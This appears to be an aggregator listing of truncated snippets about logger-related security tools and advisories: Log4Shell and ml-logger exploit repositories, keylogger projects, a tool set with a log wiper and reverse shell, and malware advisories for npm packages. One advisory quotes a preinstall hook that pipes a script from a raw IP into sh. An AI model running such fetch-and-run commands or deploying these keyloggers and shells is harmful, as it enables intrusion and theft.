cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate This POC uses Spring / Hibernate, however a similar approach of rmi - deserialization could be used to trigger any deserialization vulnerability TL;DR root@kitploit: $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-bina...

duckLogger

DuckLogger DuckLogger is an ESP32-S3–based USB Key Logger. It logs keystrokes in a text file, and provides wireless access to download logs through a built-in Wi-Fi access point. Recreating this project doesn't require any custom PCB. Hardware used here is less than $10 in total on places like...

freedomfighting

自由抗争脚本 此仓库包含一些在自由抗争活动中可能派上用场的脚本。它会偶尔更新，当我自己需要某些找不到在线资源的东西时。这里的所有内容均遵循 GPL v3 许可证 条款发布。 欢迎贡献和拉取请求。 目录 nojail.py，一个 Python 日志清理工具。 share.sh，一个安全文件共享脚本。 autojack.py，一个终端日志记录器。 listurl.py，一个站点映射器。 ersh.py，一个加密反向 Shell。 bootcheck.py，一个检测邪恶女佣攻击的脚本。 notifyhook.py，一种在系统上调用某些二进制文件时触发警报的方式。 杂项（联系与捐赠）...

PwnFox

PwnFox PwnFox is a Firefox/Burp extension that provide usefull tools for your security audit. If you are a chrome user you can check https://github.com/nccgroup/autochrome. PwnFox Features Single click BurpProxy Containers Profiles PostMessage Logger Toolbox Security header remover Installation...

CVE-2020-11851

CVE-2020-11851 Remote Code Execution vulnerability on ArcSight Logger via ArcSight Management Center https://nvd.nist.gov/vuln/detail/CVE-2020-11851 Executive Summary Vulnerability Background ArcSight Logger is a comprehensive log management solution that eases compliance burdens and enables fast...

BeeLogger

BeeLogger Copyright 2017 BeeLogger 著者: Alisson Moretto - 4w4k3 Twitter: @4w4k3Official このツールは正当な目的、ペネトレーションテストのために設計されています。犯罪に使わないでください！ ダウンロードはこちらのみから行ってください。他の場所は信頼しないでください。 注: BeeLoggerは現在、ラテン言語のみ公式サポートしています。 インストール方法: 動画: https://www.youtube.com/watch?v=ifOGkOTS5zk クローン: root@kitploit: git...

cve-2022-22965

Ejemplo mínimo de CVE-2022-22965 Al momento de escribir esto, el enlace de parámetros de solicitud de spring-web WebDataBinder, por defecto, permite acceder al método getClass del objeto. Esto es un detalle de implementación interno y específico de la JVM en mi humilde opinión no debería estar...

de4dot

Description de4dot is an open source GPLv3 .NET deobfuscator and unpacker written in C. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored eg. string encryption, but symbol renaming is impossible to...

CVE-2025-10951

CVE-2025-10951 - checkmlloggertraversal.py 本工具用于验证 CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 是否存在——这是 geyang/ml-logger（≤ 0.10.36）中的一个未认证路径遍历漏洞，影响 mllogger/server.py 中的 loghandler / streamhandler 函数。 仅可用于你获得授权测试的系统。 检测内容...

CVE-2025-10952-ml-logger-AFR

CVE-2025-10952 — ml-logger streamhandler 任意文件读取 本仓库提供了一个独立的 Python 脚本 — CVE-2025-10952.py — 用于利用 ml-logger 的 streamhandler 中存在的未认证任意文件读取漏洞，并与 /glob 端点链式配合进行文件系统枚举。 当针对存在漏洞的 ml-logger 实例运行时，它将： 通过 /glob 端点枚举目标主机上的文件（未认证，且超出预期范围外无路径限制）。 通过 /stream 端点读取任意文件，方法是提供一个精心构造的 key 参数，突破处理程序的基础路径拼接逻辑。...

CVE-2026-87859

morgan is an HTTP request logger middleware for Node.js. In versions before 1.12.1, its escapeLogField function does not escape the double quote character, which delimits the quoted fields of the Apache combined log format that morgan emits. An unauthenticated remote attacker who controls a value...

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

CVE-2026-21011 – 自定义日志记录器中的 Log4j 式 JNDI 注入（模拟） 程序代码（用 Python 模拟 Java 的示例） root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?' for match in re.finditerpattern,...

LoggerPlusPlus

Logger++ 适用于 Burp Suite 的高级日志记录 由 Corey Arthur 最初由 Soroush Dalili 由 NCC Group Plc 以开源形式发布 - https://www.nccgroup.com/ 根据 AGPL-3.0 发布，更多信息请参阅 LICENSE 描述 Logger++ 是一个用于 Burp Suite 的多线程日志记录扩展。除了记录来自所有 Burp Suite 工具的请求和响应外，该扩展还允许定义高级过滤器，以突出显示有趣的条目，或将日志筛选为 仅匹配该过滤器的内容。...

alpr-dashboard-patches

ALPR Dashboard runtime patches Two drop-in patches for the algertc/alpr-dashboard Docker project. Both are deployable without modifying or rebuilding the upstream image. What's here logger-fix/ — async logger + cleanup throttle Replaces the built-in sync log transport full-file read + rewrite on...

TencentOS Server 4: wireshark (TSSA-2026:0956)

The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is, therefore, affected by multiple vulnerabilities as referenced in the TSSA-2026:0956 advisory. Package updates are available for TencentOS Server 4 that fix the following vulnerabilities...

Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

MAL-2026-15513 Malicious code in katal-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8ff7c110d8766d130db16799f1875e420bdaba20866624b593a209ace7a49d6a package.json declares a dependency whose value is a bare HTTPS URL https://repo.securityctrl.com/katal-logger instead of a registry version range. On...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...

SUSE CVE-2026-80704

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: use proper context for logging The same as the rest of the code, getssinfofromatombios uses calcpllcs-ctx-logger for logging. But calcpllcs-ctx is initialized only later in calcpllmaxvcoconstruct. Therefore, any...